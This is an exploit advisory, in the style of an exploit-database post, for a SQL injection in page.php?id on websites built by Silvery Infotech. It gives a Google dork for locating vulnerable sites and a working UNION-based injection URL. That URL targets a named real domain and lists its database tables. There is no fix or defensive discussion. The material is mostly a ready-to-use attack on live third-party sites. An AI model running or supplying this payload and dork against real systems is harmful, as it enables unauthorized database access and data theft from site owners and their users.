2016 Website Developed by Silvery Infotech SQL injection

[geeko]

#####################
# Exploit Title : 2016 Website Developed by Silvery Infotech sql injection
# Exploit Author : Ashiyane Digital Security Team
# Google Dork : "intext:Developed by Silvery Infotech" inurl:page.php?id=
# Date: 20 Feb 2016
# Tested On : Windows 10 , Kali linux
#################################
# Exploit And Demo:
# Vulnerable PHP File = page.php
# Vulnerable Parameter = id
#
# Attack Like :
http://artlinkinteriors.com/page.php?id=-1%27%20and/**x**/@ghasem20:=concat_ws%280x3c62723e,@@version%29%20UNION%20SELECT%201,2,3,4,5,group_concat%280x3c62723e,table_name%29,7,8,9%20from%20information_schema.tables%20where%20table_schema=database%28%29--%20-
######################
# discovered by : ghasem20
# tnx : h_sqli.empire
######################